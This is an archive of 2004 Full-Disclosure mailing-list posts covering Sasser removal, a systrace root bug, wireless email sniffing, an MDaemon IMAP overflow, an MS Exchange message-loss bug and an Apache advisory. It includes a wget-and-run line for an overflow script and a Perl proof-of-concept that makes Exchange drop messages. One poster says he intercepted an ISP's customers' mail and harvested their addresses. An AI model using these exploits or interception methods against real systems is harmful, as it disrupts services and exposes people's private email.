[Full-Disclosure] Re: removing sasser

[Doc Nielsen]

Yes http://ftp.kaspersky.com/utils/clrav/clrav.zip

- Doc


- in reply to -
Date: Wed, 12 May 2004 01:22:08 +0200
From: Marcel Krause <[EMAIL PROTECTED]>
To: Full Disclosure <[EMAIL PROTECTED]>
Subject: [Full-Disclosure] removing sasser

Hi folks!

Is ther a way to remove Sasser without downloading a full av-software?

Yours, Marcel

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: Advisory 04/2004: Net(Free)BSD Systrace local root vulnerability

[abhilash verma]

  
Brad,

Can you provide the details and the menu based exploit :) of the two vulnerabilities 
discovered by you last year.. It would be really helpful in doing the security 
assessments...

Thnx,
Abhilash

On Tue, 11 May 2004 [EMAIL PROTECTED] wrote :
>Send Full-Disclosure mailing list submissions to
>   [EMAIL PROTECTED]
>
>To subscribe or unsubscribe via the World Wide Web, visit
>   http://lists.netsys.com/mailman/listinfo/full-disclosure
>or, via email, send a message with subject or body 'help' to
>   [EMAIL PROTECTED]
>
>You can reach the person managing the list at
>   [EMAIL PROTECTED]
>
>When replying, please edit your Subject line so it is more specific
>than "Re: Contents of Full-Disclosure digest..."
>
>
>Today's Topics:
>
>1. Re: Advisory 04/2004: Net(Free)BSD Systrace local root vulnerability ([EMAIL 
> PROTECTED])
>2. RE: Learn from history? (Steffen Kluge)
>3. Re: Registry Watcher (Troy Solo)
>4. Vulnerabilites on a network (Daniele Carlucci)
>5. Re: Learn from history? (Calum)
>6. Re: Vulnerabilites on a network (Oliver Kellermann)
>7. RE: Learn from history? (Jos Osborne)
>8. Calcuating Loss (Michael Schaefer)
>9. RE: Calcuating Loss (Jos Osborne)
>   10. Re: msxml3.dll Parsing Error Crashes Internet Explorer Remotely Upon Refresh 
> (3APA3A)
>   11. Re: Calcuating Loss (Harlan Carvey)
>   12. [SECURITY] [DSA 502-1] New exim-tls packages fix buffer overflows ([EMAIL 
> PROTECTED])
>   13. Re: iDEFENSE: Security Whitepaper on Trusted Computing Platforms (Nico Golde)
>   14. Re: Victory day - Sasser surrenders (Rob Clark)
>   15. Re: Calcuating Loss (Clint Bodungen)
>   16. RE: Calcuating Loss (Jos Osborne)
>   17. Re: Victory day - Sasser surrenders ([EMAIL PROTECTED])
>   18. info on JRE < 1.4.2_04 vulnerability (Mark W. Webb)
>   19. RE: Victory day - Sasser surrenders (Alerta Redsegura)
>   20. JRE < 1.4.2_04 vulnerability (Dolphsec)
>   21. Re: Calcuating Loss (Harlan Carvey)
>   22. Re: Victory day - Sasser surrenders (Maxime Ducharme)
>   23. PING: Outlook 2003 Spam ([EMAIL PROTECTED])
>   24. JRE < 1.4.2_02 vulnerability (Dolphsec)
>
>--__--__--
>
>Message: 1
>Date: Tue, 11 May 2004 00:26:38 -0400
>To: [EMAIL PROTECTED]
> From: [EMAIL PROTECTED]
>Subject: [Full-Disclosure] Re: Advisory 04/2004: Net(Free)BSD Systrace local root 
>vulnerability
>
>Just to clarify, this advisory does not involve either of the two
>vulnerabilities that I discovered over a year ago now that still remain
>unpatched.  The one bug is a local root on Linux, NetBSD, FreeBSD,
>OpenBSD, and Mac OS X, and any other OS systrace is ported to in the
>future.  The other bug is a complete bypass of systrace's "security" on
>Linux.
>
>Maybe keep looking Stefan ;)
>If you can find them, I'll release my fulling working MENU-BASED
>exploit.  Actually, I was quite upset at first that someone had killed
>my bug but then I read the advisory closer and realized it was a
>different local root, imagine that ;)  It amazes me that Niels has known
>a local root vulnerability has existed in his code for over a year and
>yet he hasn't even bothered to audit his own code, but instead continues
>to promote it.
>
>http://monkey.org/openbsd/archive/misc/0304/msg01400.html
>"I am looking forward to his local root exploit for systrace."
>Sorry Niels, no such luck today :(
>It was close!
>
>-Brad
>
>
>--__--__--
>
>Message: 2
> From: Steffen Kluge <[EMAIL PROTECTED]>
>To: [EMAIL PROTECTED]
>Date: Tue, 11 May 2004 17:23:25 +1000
>Subject: RE: [Full-Disclosure] Learn from history?
>
>
>=_NextPart_ST_17_23_28_Tuesday_May_11_2004_24174
>Content-Type: text/plain
>Content-Transfer-Encoding: quoted-printable
>
>On Tue, 2004-05-11 at 00:50, Michal Zalewski wrote:
> > > R =3D E x p
> > >
> > > R =3D Risk
> > > E =3D event
> > > p =3D probability of the event happening
> >=20
> > If we must toy with bogus marketspeak "equations", shouldn't E - at the
> > very least - numerically correspond to the consequences (loss?) caused by
> > an event, rather than being an event itself?
>
>Of course. Prevalent risk management standards put "impact" in the place
>of "event" (which isn't quantifiable anyway). And they don't use an
>arithmetic product to combine impact and likelihood, but rather a
>matrix, which is not linear but more close to reality.
>
> > Otherwise, my risk R of getting a bar of chocolate from a stranger is
> > 0.001 * getting_chocolate_bar_from_stranger.
>
>Having avoided carbs for quite a while I can't really comment...
>
>Cheers
>Steffen.
>
>
>=_NextPart_ST_17_23_28_Tuesday_May_11_2004_24174
>Content-Type: application/pgp-signature; name=signature.asc
>Content-Description: This is a digitally signed message part
>
>-BEGIN PGP SIGNATURE-
>Version: GnuPG v1.2.2 (GNU/Linux)
>
>iD8DBQBAoH9tUmpSA4kzHnARAqKXAJ48SuIz+e3Yy/BOQnpAVBed8WHxugCZAT2n
>RtME3Nyfdy0FEi/2uBxtlnA=
>=h/s6
>-END PGP SIGNATURE-
>
>=_NextPart_ST_17_23_28_Tuesday_May_11_2004_24174--
>
>
>--__--__--

[Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1638 - 32 msgs

[Doc Nielsen]

Yes http://ftp.kaspersky.com/utils/clrav/clrav.zip

- Doc


- in reply to -
Date: Wed, 12 May 2004 01:22:08 +0200
From: Marcel Krause <[EMAIL PROTECTED]>
To: Full Disclosure <[EMAIL PROTECTED]>
Subject: [Full-Disclosure] removing sasser

Hi folks!

Is ther a way to remove Sasser without downloading a full av-software?

Yours, Marcel

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[D B]

>Dan,

>Your reasoning is quite skewed.  Yes wireless
ISP'ISP'sould have
>encryption and most do.  It is very poor accounting
>and business
>procedures to let evereveryouneyour network and use
it >for free.  
>Unless
>maybe you are thinking of a WAP WAPa coffee house.

>However saying that wireless ISP'ISP's responsible
for >an irresponsible
>merchant sending sensitive information over an
>insecure medium is quite 
>reckless.  

erm

merchant = https order from and there to a secure mail
serverand from there to the ISPs insecure ...oops
there goes all that SSL

and no i dont know for sure if the merchant had secure
mail ..point being there it wouldnt matter if the ISP
secured their email or wireless transmissions

and ill be damned if i prove i have someones credit
card # this way .. in fact i deny even knowing this is
possible 

this is all hypothetical

cept the part about the ISP not using any form of
encryption anywhere




>How about we hold the person responsible that
>initially creates the
>problem and not hand it off to someone who you
already >seem to have a
>vendetta against.

vendetta ?

k

thats it ...everyone pack up and go home

security is now a vendetta

quit being retarded

this is a full blown ISP I tried to convince to use
any form of encryption including  TLS / SSL email( the
admin thinks simply using kismet is hacking ) ... i
was ignored ( they do offer webhosting & mail services
along with DSL & dialup.. they also  support many
local businesses )

http://www.effingham.net check them outfree
internet at the intersection of I-57 and I-70 in IL


when i posted the fact there was no protection for
users  publicly ( on my own discussion board ) the ISP
( wireless ) accused me of harassment to my ISP ( i 
hate talking to lawyers )

i have now harvested several hundred client email
addresses to whom i will be sending copies of their
own email ( nothing else works so i suppose the direct
approach should be tried )

perhaps that will create  some awareness by DISCLOSING
the facts to  endusers about the company trying to
hide the fact their data is so easy to obtain

are u aware of the definition of disclosure or are u a
posing geek who likes to use big buzzwords and
bullshit their way into something ?


Dan Becker




__
Do you Yahoo!?
Yahoo! Movies - Buy advance tickets for 'Shrek 2'
http://movies.yahoo.com/showtimes/movie?mid=1808405861 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Mdaemon 7.0.1 IMAP overflow.

[ned]

Let it be known that this bug is after authentication ("postauth") and 
therefore useless.

In the current version of Mdaemon from ALTN there exists an easy to 
exploit, run-of-the-mill stack overflow.

By authenticating and sending a large argument to the STATUS command in 
the IMAP component, a buffer will be overflown, and a access violation 
will be caused.

To reproduce:
cd SMUDGE;wget 
http://felinemenace.org/~nd/SMUDGE/Mdaemon/Mdaemon7.0.1Stack.py; python 
Mdaemon7.0.0.1Stack.py.

Change the user and password first.

Thanks to:
- Dave Aitel for his neet spike scripts which convert to SMUDGE scripts 
quite easily :)
- rootkit.com

Not sure if the vendor knows about it.

Thanks,
nd

ps: second public release from the UBC, we have to make space for the new 
vulns :)
-- 
http://felinemenace.org/~nd

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] removing sasser

[Ondrej Krajicek]

Microsoft recently (yesterday?) added Sasser removal tool
to their Windows update. As usual, various antivirus vendors
probably have similar one-purpose tool available for
download.

Ondra

On Wed, May 12, 2004 at 01:22:08AM +0200, Marcel Krause wrote:
> Hi folks!
> 
> Is ther a way to remove Sasser without downloading a full av-software?
> 
> Yours, Marcel
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
+>>>-+
|Ondrej Krajicek (-KO|
|Institute of Computer Science, Masaryk University Brno, CR  |
|http://isildur.ics.muni.cz/~ondra   [EMAIL PROTECTED]|
++


pgp0.pgp
Description: PGP signature

[Full-Disclosure] leaking

[Felipe Angoitia]

Title: leaking






Hi abhilash verma and the rest... 

Why do you include this in your mails? tracking full-disclosure readers which use html rendering muas? 

http://clients.rediff.com/signature/track_sig.asp">http://clients.rediff.com/signature/track_sig.asp> SRC="">" BORDER=0 VSPACE=0 HSPACE=0> 

please explain us...

[Full-Disclosure] MS Exchange message lost

[I . D . S]

* MS Exchange duplicate message fault (message lost)
*
* MS Exchange (all versions affected) duplicate message fault 
*
* I discovered this bug independently on 10, 2003 
* 
* public post 05, 2004
*
* Helmut Schmitz < [EMAIL PROTECTED] >
*
* (c) 2003/2004 Copyright by Helmut Schmitz - HackForce.NET -  */

MS Exchange Server (tested on 5.5 and 2003) has a bug ... If you send
Messages with long message ids (>189 bytes?)to more than one recipient (cc),
the message will not delivered correctly ... there is no correct logging !!,
the messages will be delivered to only one Recipient ... the message to the
other will be lost !!

I have send this issue to Microsoft (10.2003) ... some months later
(05.2004) I got the fix, but not public ... store.exe (6.5.6980.81) with
some reg settings fixes (workaround ;-) the problem.

Perl Example (test exploit) ...

#!/usr/bin/perl -w
use Net::SMTP;
$from = '[EMAIL PROTECTED]';
$to = '[EMAIL PROTECTED]';
$cc = '[EMAIL PROTECTED]';
$subject = 'Test Email';
$smtp = Net::SMTP->new('yourmailserver');
$smtp->mail($from);
$smtp->to($to);
$smtp->cc($cc);
$smtp->data();
$smtp->datasend("To: <$to>\n");
$smtp->datasend("Cc: <$cc>\n");
$smtp->datasend("From:  <$from>\n");
$smtp->datasend("Subject: $subject\n");
$smtp->datasend("Message-ID:
 \n");
$smtp->datasend("Hallo\n");
$smtp->datasend("123\n");
$smtp->datasend("123\n");
$smtp->datasend("123\n");
$smtp->dataend();
$smtp->quit;

Background:
Duplicate detection is decided by three factors.  These are MessageID,
RootFID (the root folder ID of the mailbox) and the SubmitTime into the
store.  These are used to build a unique key when the message is submitted.
If all the factors are the same value, then we recognize the message as
duplicate. 

###

I think some people know how to use this "FEATURE" ...  I hope this post
will speed up the fix release!

Regards,
Helmut Schmitz

-- 
"Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen!
Jetzt aktivieren unter http://www.gmx.net/info

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[KUIJPERS Jimmy]

The beatch is probably collecting our addresses for spam.
To proof the theory:
I will open the e-mail with a mail client with a new e-mail address
(when I get home tonight) and see how much spam I will receive. I will
give a report when I receive some significant spam or if I have not received
any spam for days and days.
I basicly never use html rendering, only when I am receiving e-mails
from trusted senders (and mailing lists are ofcourse not trusted *grin*
)
Well spotted Felipe.
 
Cheers,
Jimmy
 
Felipe Angoitia wrote:

Hi
abhilash verma
and the rest...
Why do you include
this in your mails? tracking full-disclosure readers which use html rendering
muas?
http://clients..rediff.com/signature/track_sig.asp">http://clients..rediff.com/signature/track_sig.asp>
SRC=""http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail.com/[EMAIL PROTECTED]">http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail.com/[EMAIL PROTECTED]>"
BORDER=0 VSPACE=0 HSPACE=0>
please explain
us...

Re: [Full-Disclosure] Wireless ISPs

[KUIJPERS Jimmy]

Isn't it also the responsibility of the site where your ordering? To have any data 
submitted by e-mail to be delivered securely. For
example by having the e-mail itself encrypted?

[devil's advocate mode] Sure, one can also have the debate that wireless links should 
be encrypted but that's something else entirely,
even a wired link is sniffable and they we're never encrypted. So why encrypt the 
wireless links? [/devil's advocate mode]


my 2ct,
Jimmy


Sean Milheim wrote:

> I agree with Brian.  I feel that merchants sending information through
> email is irresponsible and this is a customer service issue.
>
> We have online ordering and do not send sensitive data via email.  None
> of the merchants that I have made online purchases with recently have
> done this either.
>
> However there is also pop3s and imaps.
>
> --
> Sean Milheim <[EMAIL PROTECTED]>
> iDREUS Corporation
>
>   
> 
>
> Subject: Re: [Full-Disclosure] Wireless ISPs
> Date: Tue, 11 May 2004 12:20:45 -0700 (PDT)
> From: D B <[EMAIL PROTECTED]>
> To: Brian Toovey <[EMAIL PROTECTED]>
> CC: [EMAIL PROTECTED]
>
> Hi Brian
>
> Sit down sometime inside a wireless ISPs area and run
> kismet. You can see someone connect to a service via
> SSL, then immediately after they purchase something
> they check the email. Guess what ? the Credit card #
> and address are in that email.
>
> Doesn't take some 15 year veteran of the internet to
> see how this is a bad thing.
>
> Go flame some newb who has no brain.
>
> Dan Becker
>
> --- Brian Toovey <[EMAIL PROTECTED]> wrote:
> > Dan,
> >
> > Your post is troubling, if not confusing -
> >
> > You are talking about two seperate issues - email
> > confirmations with companies that you buy goods and
> > services from online and wireless data transmission.
> >  Most wireless "computer equipment" that is sold now
> > by default comes with some kind of encryption,
> > completely hackable but "encrypted" - so it becomes
> > the end user's responsibility to use the proper
> > equipment / software to protect yourself.
> >
> > The other issue, automatic replies with sensitive
> > data, are best directed to the customer service
> > department of the company in transgression.
> >
> > Dan, the internet is an unsafe place for sensitive
> > data.  I would suggest some study in different
> > encryption methodlogies to educate yourself.
> > Education leads to positive, well thought out data
> > communication, which leads to peace of mind.
> >
> > Regards,
> > Brian
> >
> > On May 11, 2004 02:33 PM, D B
> > <[EMAIL PROTECTED]> wrote:
> >
> > > I'm not real sure how to post this, nor am I sure
> > of
> > > the scope. I am still learning about computers.
> > >
> > >
> > > All transactions done via secure websites are
> > secure,
> > > however the auto mailing feature to confirm orders
> > > sometimes contains sensitive data. When the
> > customer
> > > is on a wireless connection, be it ISP or home LAN
> > > that data is broadcasted in the clear for anyone
> > > within range to eavesdrop. A wired internet
> > connection
> > > limits the number of people who have access to
> > this
> > > data simply by the nature of the internet putting
> > it
> > > within acceptable risk.
> > >
> > > It is legal according to US law to eavesdrop on
> > > wireless connections.
> > >
> > >
> >
> http://www.usdoj.gov/criminal/cybercrime/wiretap2510_2522.htm
> > >
> > > The only solutions I can offer are one of two
> > things.
> > >
> > > 1. Quit sending auto confirmations with sensitive
> > data
> > >
> > > 2. Encrypt all wireless transmissions at least
> > making
> > > someone who gains access to this data
> > prosecutable.
> > >
> > > Please direct all flames to /dev/null
> > >
> > > Dan Becker
> > >
> > >
> > >
> > >
> > > __
> > > Do you Yahoo!?
> > > Win a $20,000 Career Makeover at Yahoo! HotJobs
> > >
> > http://hotjobs.sweepstakes.yahoo.com/careermakeover
> > >
> > > ___
> > > Full-Disclosure - We believe in it.
> > > Charter:
> > http://lists.netsys.com/full-disclosure-charter.html
> >
> > Brian Toovey
> > igxglobal
> > 389 Main Street Suite 206
> > Hackensack, NJ 07601
> > Ph: 201-498-0555x2225
> > [EMAIL PROTECTED]
> >
> > Subscribe to the igxglobal Daily Security Briefing
> > http://www.igxglobal.com/dsb/register.html
> >
> > igxglobal announces Daily Security Briefing
> > newsletter
> > http://www.prweb.com/releases/2004/5/prweb123759.htm
> >
> >
> > The electronic message that you have received and
> > any attachments are solely intended for the use of
> > the addressee(s) and may contain information that is
> > confidential. If you receive this email in error,
> > please advise us by responding to [EMAIL PROTECTED]
> > You are required to delete the contents and destroy
> > any copies immediately.
> > igxglobal is not liable for

Re: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, Felipe Angoitia wrote:

> Hi abhilash verma and the rest...  Why do you include this in your
> mails? tracking full-disclosure readers which use html rendering muas?

Sounds like a good reason to *not* use certain MUAs to me.  Your choice,
after all.

Hint: my MUA renders HTML.  It does *not* fetch web-bugs etc.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[Xavier Beaudouin]

Hi Brian and Dan,

Sit down sometime inside a wireless ISPs area and run
kismet. You can see someone connect to a service via
SSL, then immediately after they purchase something
they check the email. Guess what ? the Credit card #
and address are in that email.
Yeah...

There is 2 problems :

- one is from purchase site that *should*not* send any
  credit card number on email
- one is the way people gets mails
On the second hand, there is some way to fix that :

 pop3-ssl
 imap-ssl
Why ISP don't provide such way to get mail ? FYI I do such setup on my 
servers for more than 4 year since it is implemented on lots of MUAs 
included from some from a redmont software producers.

Yes, using encrypted connections is not the solution, but can help...

Also have some SMTP server that allow STARTTLS, are good starting point 
about security...

If you are paranoid, like I am, you can also use : WEP + IPsec... that 
with encrypted connection (ssh, pop3-ssl, imap-ssl, smtp+tls) will give 
you more confident about your network

People that don't use that are, IMHO, just non aware of the possibility 
that their data can be stolen without any intrusion.

/Xavier

--
Xavier Beaudouin - Unix System Administrator & Projects Leader.
President of Kazar Organization : http://www.kazar.net/
Please visit http://caudium.net/, home of Caudium & Camas projects
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] CHANNEL FREQ'S

[Tyler, Grayling]

Title: CHANNEL FREQ'S





Geqqam69200,


I've seen a few people refer to the lower 6 channels of wireless as operating in the Ham freq. spectrum.  I am a bit confused where this is coming from as 802.11b operates in the ISM (Industrial Scientific and Medical) band.  This band (~2.4 GHz) is used by 802.11b to transmit using spread spectrum signals so technically speaking all channels are sent in the same frequency band.  I have always been under the impression that the channels simply referred to the code necessary to retrieve the spread spectrum signal sent. 

If I'm wrong in my assumptions I'd like to become more educated. To that end I'd appreciate you (or anyone) posing the reference stipulating that the lower channels are in the Ham frequency spectrum while the others are not.  

Thanks



This electronic message may contain confidential or privileged information 
and is intended for the individual or entity named above.  If you are 
not the intended recipient, be aware that any disclosure, copying, 
distribution or use of the contents of this information is prohibited. 
If you have received this electronic transmission in error, please notify 
the sender immediately by using the e-mail address or by telephone (704-633-8250). 

Re: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, KUIJPERS Jimmy wrote:

> I will open the e-mail with a mail client with a new e-mail address
> (when I get home tonight) and see how much spam I will receive. I will
> give a report when I receive some significant spam or if I have not
> received any spam for days and days.

Unless you have a cryptographically-secure way of generating new email
addresses, you will not have proved anything.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] CHANNEL FREQ'S

[Konstantin Gavrilenko]

Tyler, Grayling wrote:
Geqqam69200,

I've seen a few people refer to the lower 6 channels of wireless as 
operating in the Ham freq. spectrum.  I am a bit confused where this is 
coming from as 802.11b operates in the ISM (Industrial Scientific and 
Medical) band.  This band (~2.4 GHz) is used by 802.11b to transmit 
using spread spectrum signals so technically speaking all channels are 
sent in the same frequency band.  I have always been under the 
impression that the channels simply referred to the code necessary to 
retrieve the spread spectrum signal sent.

If I'm wrong in my assumptions I'd like to become more educated. To that 
end I'd appreciate you (or anyone) posing the reference stipulating that 
the lower channels are in the Ham frequency spectrum while the others 
are not. 

Thanks


Channel ID  FCC  ETSI  France  Japan
1   2412 2412   -  2412
2   2417 2417   -  2417
3   2422 2422   -  2422
4   2427 2427   -  2427
5   2432 2432   -  2432
6   2437 2437   -  2437
7   2442 2442   -  2442
8   2447 2447   -  2447
9   2452 2452   -  2452
10  2457 2457   2457   2457
11  2462 2462   2462   2462
12  -2467   2467   2467
13  -2472   2472   2472
14  --  -  2484


--
Respectfully,
Konstantin V. Gavrilenko
Arhont Ltd - Information Security

web:http://www.arhont.com
http://www.wi-foo.com
e-mail: [EMAIL PROTECTED]
tel: +44 (0) 870 44 31337
fax: +44 (0) 117 969 0141
PGP: Key ID - 0x4F3608F7
PGP: Server - keyserver.pgp.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] leaking?

[Felipe Angoitia]

Hi 
abhilash verma and the 
rest...
Why do 
you include this in your mails? tracking full-disclosure readers which use html 
rendering muas?
 
http://clients.rediff.com/signature/track_sig.asp"> 
SRC=""http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail.com/[EMAIL PROTECTED]">http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.rediffmail.com/[EMAIL PROTECTED]" 
BORDER=0 VSPACE=0 HSPACE=0>
 
please 
explain us...

  -Mensaje original-De: 
  [EMAIL PROTECTED] 
  [mailto:[EMAIL PROTECTED]En nombre de abhilash 
  vermaEnviado el: miércoles, 12 de mayo de 2004 6:34Para: 
  [EMAIL PROTECTED]Asunto: [Full-Disclosure] Re: 
  Advisory 04/2004: Net(Free)BSD Systrace local root 
  vulnerability
   Brad,Can you provide the details and the menu based exploit :) 
  of the two vulnerabilities discovered by you last year.. It would be really 
  helpful in doing the security 
  assessments...Thnx,AbhilashOn Tue, 11 May 2004 
  [EMAIL PROTECTED] wrote :>Send Full-Disclosure 
  mailing list submissions to>     
   [EMAIL PROTECTED]>>To subscribe or 
  unsubscribe via the World Wide Web, visit>     
   http://lists.netsys.com/mailman/listinfo/full-disclosure>or, via 
  email, send a message with subject or body 'help' to>     
   [EMAIL PROTECTED]>>You can reach 
  the person managing the list at>     
   [EMAIL PROTECTED]>>When replying, 
  please edit your Subject line so it is more specific>than "Re: Contents 
  of Full-Disclosure digest...">>>Today's 
  Topics:>>    1. Re: Advisory 04/2004: Net(Free)BSD 
  Systrace local root vulnerability ([EMAIL PROTECTED])>  
    2. RE: Learn from history? (Steffen Kluge)>    3. Re: 
  Registry Watcher (Troy Solo)>    4. Vulnerabilites on a 
  network (Daniele Carlucci)>    5. Re: Learn from history? 
  (Calum)>    6. Re: Vulnerabilites on a network (Oliver 
  Kellermann)>    7. RE: Learn from history? (Jos 
  Osborne)>    8. Calcuating Loss (Michael 
  Schaefer)>    9. RE: Calcuating Loss (Jos 
  Osborne)>  10. Re: msxml3.dll Parsing Error Crashes Internet 
  Explorer Remotely Upon Refresh (3APA3A)>  11. Re: Calcuating Loss 
  (Harlan Carvey)>  12. [SECURITY] [DSA 502-1] New exim-tls packages 
  fix buffer overflows ([EMAIL PROTECTED])>  
  13. Re: iDEFENSE: Security Whitepaper on Trusted Computing Platforms (Nico 
  Golde)>  14. Re: Victory day - Sasser surrenders (Rob 
  Clark)>  15. Re: Calcuating Loss (Clint Bodungen)>  
  16. RE: Calcuating Loss (Jos Osborne)>  17. Re: Victory day - 
  Sasser surrenders ([EMAIL PROTECTED])>  18. info on JRE < 
  1.4.2_04 vulnerability (Mark W. Webb)>  19. RE: Victory day - 
  Sasser surrenders (Alerta Redsegura)>  20. JRE < 1.4.2_04 
  vulnerability (Dolphsec)>  21. Re: Calcuating Loss (Harlan 
  Carvey)>  22. Re: Victory day - Sasser surrenders (Maxime 
  Ducharme)>  23. PING: Outlook 2003 Spam 
  ([EMAIL PROTECTED])>  24. JRE < 1.4.2_02 vulnerability 
  (Dolphsec)>>--__--__-->>Message: 1>Date: 
  Tue, 11 May 2004 00:26:38 -0400>To: 
  [EMAIL PROTECTED]> From: 
  [EMAIL PROTECTED]>Subject: [Full-Disclosure] Re: Advisory 04/2004: 
  Net(Free)BSD Systrace local root vulnerability>>Just to clarify, 
  this advisory does not involve either of the two>vulnerabilities that I 
  discovered over a year ago now that still remain>unpatched.  The 
  one bug is a local root on Linux, NetBSD, FreeBSD,>OpenBSD, and Mac OS 
  X, and any other OS systrace is ported to in the>future.  The 
  other bug is a complete bypass of systrace's "security" 
  on>Linux.>>Maybe keep looking Stefan ;)>If you can 
  find them, I'll release my fulling working MENU-BASED>exploit.  
  Actually, I was quite upset at first that someone had killed>my bug but 
  then I read the advisory closer and realized it was a>different local 
  root, imagine that ;)  It amazes me that Niels has known>a local 
  root vulnerability has existed in his code for over a year and>yet he 
  hasn't even bothered to audit his own code, but instead continues>to 
  promote 
  it.>>http://monkey.org/openbsd/archive/misc/0304/msg01400.html>"I 
  am looking forward to his local root exploit for systrace.">Sorry 
  Niels, no such luck today :(>It was 
  close!>>-Brad>>>--__--__-->>Message: 
  2> From: Steffen Kluge <[EMAIL PROTECTED]>>To: 
  [EMAIL PROTECTED]>Date: Tue, 11 May 2004 17:23:25 
  +1000>Subject: RE: [Full-Disclosure] Learn from 
  history?>>>=_NextPart_ST_17_23_28_Tuesday_May_11_2004_24174>Content-Type: 
  text/plain>Content-Transfer-Encoding: 
  quoted-printable>>On Tue, 2004-05-11 at 00:50, Michal Zalewski 
  wrote:> > > R =3D E x p> > >> > > R =3D 
  Risk> > > E =3D event> > > p =3D probability of the 
  event happening> >=20> > If we must toy with bogus 
  marketspeak "equations", shouldn't E - at the> > very least - 
  numerically correspond to the consequences (loss?) caused by> > an 
  event, rather than being an event itself?>>Of course. Prevalent 
  risk management standards put "impact" in the place>of "event" (which 
  isn't quantifiable anyway). And t

[Full-Disclosure] [OpenPKG-SA-2004.021] OpenPKG Security Advisory (apache)

[OpenPKG]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



OpenPKG Security AdvisoryThe OpenPKG Project
http://www.openpkg.org/security.html  http://www.openpkg.org
[EMAIL PROTECTED] [EMAIL PROTECTED]
OpenPKG-SA-2004.021  12-May-2004


Package: apache
Vulnerability:   privilege escalation, denial of service
OpenPKG Specific:no

Affected Releases:   Affected Packages:Corrected Packages:
OpenPKG CURRENT  <= apache-1.3.29-20040421 >= apache-1.3.31-20040511
OpenPKG 2.0  <= apache-1.3.29-2.0.0>= apache-1.3.29-2.0.1
OpenPKG 1.3  <= apache-1.3.28-1.3.2>= apache-1.3.28-1.3.3

Dependent Packages:  none

Description:
  With the release of the Apache HTTP Server [0] version 1.3.31, four
  security issues were fixed [1]:

  1. Access Control List (ACL) Handling:
 mod_access in Apache 1.3 before 1.3.30, when running on big-endian
 64-bit platforms, did not properly parse Allow/Deny rules using IP
 addresses without a netmask. This could allow remote attackers to
 bypass intended access restrictions. The Common Vulnerabilities and
 Exposures (CVE) project assigned the id CAN-2003-0993 [2] to the
 problem.

  2. Error Log Escape Sequence Filtering:
 Apache 1.3 before 1.3.30 did not filter terminal escape sequences
 from its error logs. This could make it easier for attackers
 to insert those sequences into the terminal emulators (of
 administrators viewing the error logs) containing vulnerabilities
 related to escape sequence handling. The Common Vulnerabilities and
 Exposures (CVE) project assigned the id CAN-2003-0020 [3] to the
 problem.

  3. Nonce Verification in Digest Authentication:
 mod_digest in Apache 1.3 before 1.3.31 did not properly verify the
 nonce of a client response by using a AuthNonce secret. Apache
 now verifies the nonce returned in the client response to check
 whether it was issued by itself by means of a "AuthDigestRealmSeed"
 secret exposed as an MD5 checksum. The Common Vulnerabilities and
 Exposures (CVE) project assigned the id CAN-2003-0987 [4] to the
 problem.

  4. Starvation Issue in Serialized accept(2) Handling:
 Apache 1.3 before 1.3.30, when using multiple listening sockets
 on certain platforms, allows remote attackers to cause a Denial
 of Service (blocked new connections) via a short-lived connection
 on a rarely-accessed listening socket. This starvation situation
 caused a child to hold the accept(2) mutual exclusion lock and
 block out new connections (on any socket) until another connection
 arrives on that rarely-accessed listening socket. The source of
 the problem seems to be that under some Unix platforms accept(2)
 unexpectedly blocks after select(2) flagged a socket as readable.
 The Common Vulnerabilities and Exposures (CVE) project assigned the
 id CAN-2004-0174 [5] to the problem.

  Please check whether you are affected by running "/bin/rpm -q
  apache". If you have the "apache" package installed and its version
  is affected (see above), we recommend that you immediately upgrade it
  (see Solution) [6][7].

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [8][9], fetch it from the OpenPKG FTP service [10][11] or a mirror
  location, verify its integrity [12], build a corresponding binary
  RPM from it [6] and update your OpenPKG installation by applying the
  binary RPM [7]. For the most recent release OpenPKG 2.0, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.0/UPD
  ftp> get apache-1.3.29-2.0.1.src.rpm
  ftp> bye
  $ /bin/openpkg rpm -v --checksig apache-1.3.29-2.0.1.src.rpm
  $ /bin/openpkg rpm --rebuild apache-1.3.29-2.0.1.src.rpm
  $ su -
  # /bin/openpkg rpm -Fvh /RPM/PKG/apache-1.3.29-2.0.1.*.rpm


References:
  [0]  http://httpd.apache.org/
  [1]  http://www.apache.org/dist/httpd/CHANGES_1.3
  [2]  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0993
  [3]  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0020
  [4]  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0987
  [5]  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0174
  [6]  http://www.openpkg.org/tutorial.html#regular-source
